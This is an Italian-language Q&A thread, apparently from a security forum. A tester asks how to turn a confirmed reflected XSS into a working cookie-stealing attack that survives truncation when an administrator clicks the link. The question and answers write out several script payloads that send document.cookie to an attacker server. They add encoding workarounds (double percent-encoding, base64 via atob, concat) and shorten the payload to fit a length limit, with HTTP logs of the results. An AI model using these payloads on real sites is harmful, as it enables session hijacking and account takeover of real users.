Sfumature payload XSS

3

Sto verificando questa applicazione & ho confermato una xss riflessa. Ora, sto cercando di creare un payload funzionante, invece di mostrare semplicemente una finestra di avviso.

L'url creato è il seguente:

http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php?y="+document.cookie;</script>

Alcuni caratteri devono essere codificati, quindi il carico utile è:

http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%3fy="%2bdocument.cookie%3b</script>

L'apertura di questo URL esegue direttamente js senza problemi.

Tuttavia, con questa applicazione, un amministratore deve fare clic su questo link tramite un'altra pagina.

Il problema è che quando l'URL creato viene cliccato / aperto ora, il payload viene rimosso fino a http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php"

Guardando il sorgente della pagina viene mostrato quanto segue:

<form action=/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php method=post name=search>

Ho provato altri payload, altri più lunghi e amp; anche url abbreviazioni, ma non fa alcuna differenza.

Non riesco a capire perché lo stesso URL creato venga eseguito quando viene aperto direttamente, ma il payload viene rimosso quando si passa da una pagina diversa.

Come posso aggirare questa restrizione per catturare i cookie e / o iniettare uncino per manzo, preferibilmente usando un breve carico utile & senza reindirizzamento.

Grazie.

Aggiorna In base al commento di @xavier59, ho codificato % in %25 , quindi la richiesta è: http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%253fy="%2bdocument.cookie%3b</script>

Il payload js viene eseguito come previsto (reindirizzamento al server Web di un utente malintenzionato), ma ora i cookie non vengono acquisiti. Ecco la richiesta che ottengo una volta eseguito il payload:

GET /z.php%3fy= HTTP/1.1

+document.cookie viene ancora rimosso.

UPDATE2 Richiesta HTTP & risposte quando si fa clic sull'URL creato:

Crafted URL:
http://192.168.1.2/vulnpage.php>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>

GET:http://url
Host:myapp.local
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1


Date:Fri, 02 Feb 2018 22:20:35 GMT
Server:Apache
Location:https://url
Content-Length:337
Keep-Alive:timeout=15, max=100
Connection:Keep-Alive
Content-Type:text/html; charset=iso-8859-1


GET:http://192.168.1.3/z.php?y=
Host:192.168.1.3
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:en-US
Accept-Encoding:gzip,deflate
Connection:keep-alive
Upgrade-Insecure-Requests:1


Server:SimpleHTTP/0.6 Python/2.7.6
Date:Fri, 02 Feb 2018 22:31:50 GMT
Content-Type:text/html
Connection:close
    
posta Sunshine 02.02.2018 - 03:09
fonte

2 risposte

2

Il sito web sta riflettendo la posizione senza la stringa di query. Qualsiasi cosa dietro un ? in un URI viene chiamata stringa di query.

%3F è la codifica URI del carattere ? . Questo è il motivo per cui ogni elemento dietro di esso viene rimosso, perché è riconosciuto come parte della stringa di query e il sito web non vuole rifletterlo.

Per ottenere un carico utile di lavoro, è necessario codificare per cento % . La codifica percentuale di % è %25 .

Il payload dovrebbe quindi apparire

http://192.168.1.2/vulnpage.php>"<script>document.location="http://192.168.1.3/z.php%253fy="%2bdocument.cookie%3b</script>

Modifica:

Inizialmente pensavo che %253f si sarebbe riflesso come ? ma poiché non lo è, potremmo dover codificare l'URL in modo diverso.

Per prima cosa, apri una console e codificala come base64:

btoa("http://192.168.1.3/z.php?y=")
aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9

Quindi, evita di usare + ( %2b ) nel tuo payload, poiché ha anche un significato speciale nell'URI usando il metodo concat.

atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)

Il carico utile finale potrebbe essere qualcosa del tipo:

http://192.168.1.2/vulnpage.php>"<script>document.location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie);</script>

Modifica 2:

Quindi siamo limitati alle dimensioni. Dobbiamo ridurre il carico utile di 10 caratteri.

; non è obbligatorio (pratica di coding di bud bad). (9 rimanenti)

document.location può diventare solo location in alcuni casi (anche una cattiva pratica di codifica). Preparati ... 0 rimanenti.

Che dire

http://192.168.1.2/vulnpage.php>"<script>location=atob("aHR0cDovLzE5Mi4xNjguMS4zL3oucGhwP3k9").concat(document.cookie)</script>
    
risposta data 02.02.2018 - 08:44
fonte
-1

http://192.168.1.3 è il tuo server web locale in cui stai rubando i cookie.

Prova a fare questo: document.location="http://192.168.1.3/"+document.cookie

E se il payload viene eseguito e ancora non riesci a catturare i cookie, assicurati che non ci sia flag HTTPonly nell'intestazione del cookie.

    
risposta data 02.02.2018 - 18:02
fonte

Leggi altre domande sui tag